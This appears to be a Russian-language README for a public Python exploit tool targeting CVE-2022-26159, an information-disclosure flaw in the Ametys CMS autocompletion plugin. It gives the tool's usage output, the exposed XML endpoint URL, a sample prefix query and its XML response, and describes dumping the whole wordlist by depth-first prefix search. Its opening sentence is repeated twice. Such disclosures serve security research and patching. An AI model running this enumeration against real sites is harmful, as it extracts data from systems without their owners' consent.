
Эксплойт на Python для автоматической выгрузки всех данных, которые хранит плагин автодополнения Ametys CMS, в локальный файл базы данных SQLite.
Эксплойт на Python для автоматического создания дампа всех данных, хранящихся плагином автодополнения Ametys CMS, в локальный файл базы данных SQLite.

$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius
usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]
Description message
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
arg1 help message
-H HEADERS, --header HEADERS
Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
-k, --insecure Disable SSL/TLS warnings and certificate verification.
-v, --verbose Verbose mode. (default: False)
-q, --quiet Quiet mode. (default: False)
--no-colors Disables colored output. (default: False)
Плагин автодополнения в Ametys CMS <= 4.4.9 публично предоставляет XML-файл, содержащий список слов (wordlist), по следующему адресу:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml
Чтобы выполнить запрос к этой базе данных, атакующему достаточно ввести начало слова в параметре q (query):
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm
И плагин автодополнения возвращает первые 10 подходящих слов, начинающихся с adm (из запроса), в виде XML-файла:
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
<item>administrateur</item>
<item>administrateurs</item>
<item>administratif</item>
<item>administratifs</item>
<item>administration</item>
<item>administrations</item>
<item>administrative</item>
<item>administratives</item>
<item>administres</item>
<item>admission</item>
</auto-completion>
Учитывая это, атакующему достаточно выполнить поиск в глубину по API, чтобы извлечь всё его содержимое.
Pull requests приветствуются. Не стесняйтесь открыть issue, если хотите добавить другие функции.